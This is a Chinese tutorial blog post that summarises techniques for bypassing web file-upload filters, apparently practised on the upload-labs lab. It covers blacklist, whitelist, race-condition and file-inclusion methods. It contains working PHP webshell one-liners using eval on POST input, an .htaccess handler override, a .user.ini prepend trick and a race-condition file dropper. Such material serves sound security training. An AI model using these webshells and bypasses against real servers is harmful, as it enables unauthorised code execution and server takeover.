文件上传绕过方法总结(入门必看)

00.前言

本篇各种常规的绕过方法应该都有提及,当然肯定也会有所遗漏和错误,本人也就入门不久的水平,希望各位大佬不吝指教。

一.前端绕过

1.删除前端校验函数

将js中的代码删除即可

2.禁用js代码

先F12再F1来到偏好设置

再找到停用JavaScript,勾选即可

3.bp修改数据包

上传符合要求的后缀名,用bp抓包,修改为木马后缀名即可

二.黑名单绕过

1.等价扩展名绕过

2.上传.htaccess文件

<FilesMatch "info.jpg">
SetHandler application/x-httpd-php
</FilesMatch> 

此文件的内容大概意思为,.htaccess文件可以将info.jpg文件当作php文件解析执行。

3.大写绕过(仅Windows)

修改php文件的后缀为info.PHp,然后上传此文件即可

4.空格绕过(仅Windows)

利用bp抓包,在文件扩展名后加空格即可,如图

5.点号绕过(仅Windows)

扩展名后加点,如图

6.::$DATA绕过限制(仅Windows)

Windows系统在保存info.php::$DATA一类的文件时会自动去除文件后的::$DATA字符串,保存的文件名为info.php。

7.空格+点号绕过

8.双写绕过(str_ireplace函数)

程序中的str_ireplace函数会将黑名单中的后缀替换为空,但是只替换了一次,因此我们可以使用双写绕过此函数。

9.00截断(move_uploaded_file函数)

move_uploaded_file()函数本身存在逻辑漏洞缺陷,可以实现00截断绕过。也可以在php文件名后添加任意字符,只要不在黑名单限制内都可成功上传文件。

10.php其他标签绕过

<?php @eval($_POST['cmd']); ?>            //正常写法
<? @eval($_POST['cmd']); ?>                //短标签,适合过滤php
<% @eval($_POST['cmd']); %>                //asp风格
<script language='php'>@eval($_POST['cmd']);</script>            //<script>风格,适合过滤<?

11.文件头检测绕过

可以通过php截断后,添加GIF89a进行绕过

也可以通过修改16进制绕过

12..user.ini

数据包修改为名为.user.ini

类型为image/png

内容为“GIF89a auto_prepend_file=2.png”

三.白名单绕过

1.MIME绕过

常见类型

抓包将其content-type字段的类型修改为image/jpeg,即可绕过检测

2.GET型00截断(仅Windows)

windows系统识别到文件名中00的时候将不再向后识别

仅适用于

php版本小于5.3.4
php的配置文件php.ini中的magic_quotes_gpc 的值需要修改为Off

3.POST型00截断

在upload12.php文件后添加00

4.二次渲染

在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),生成一个新的图片保存至服务器中。我们可以将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。

制作图片马

图片马上传后,重新下载

将图片马与下载后的图片进行十六进制比较。

选择此处找到了两个文件数据相同块,在下载后的图片数据相同处插入php恶意语句保存即可。

也可以通过 imagecreatefromgif函数直接转换与原图片进行对比

<?php
$demo = imagecreatefromgif('file');
imagegif($demo,"outfile");
?>

5.条件竞争时间差

当文件上传后,服务器会首先保存然后重命名,最后再把源文件删除。在文件删除之前,如果线程过大可能导致服务器处理数据变慢,从而使黑客有时间对上传的webshell进行访问。此过程只会删除上传的文件,但是不会删除生成的文件,因此可以使用如下的php代码获取shell。

<?php file_put_contents("info.php",'<?php phpinfo();)?>')?>  
#file_put_contents()把字符串写入文件中
<?php fputs(fopen('info.php','w'),'<?php phpinfo();?>');?> 

服务器只会删除我们上传的源文件,但不会删除我们利用这个源文件生成的文件

上传fputs.php文件并抓包发送至intruder模块。

设置payload

设置线程数:

浏览器持续不断的访问http://10.1.36.39/upload-labs/upload/fputs.php路径,直到成功为止。然后会在upload目录下生成info.php文件。

也可使用脚本协同攻击

import requests
url = "ip"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break

6.apache的addhandler配置解析漏洞

阿帕奇对于解析的文件扩展名会从右往左开始解析,当最右边后缀无法解析时,会往左识别,直到识别合法才进行解析

7.白名单配合文件包含漏洞

文件包含漏洞会将任意类型的文件当作php文件进行解析,如果文件中包含了php代码,则其中的php代码将会执行。

<?php
   $a=$_GET['inc'];
   include($a);
?>

 上传一个图片马,通过文件包含包含此文件

  • 18
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值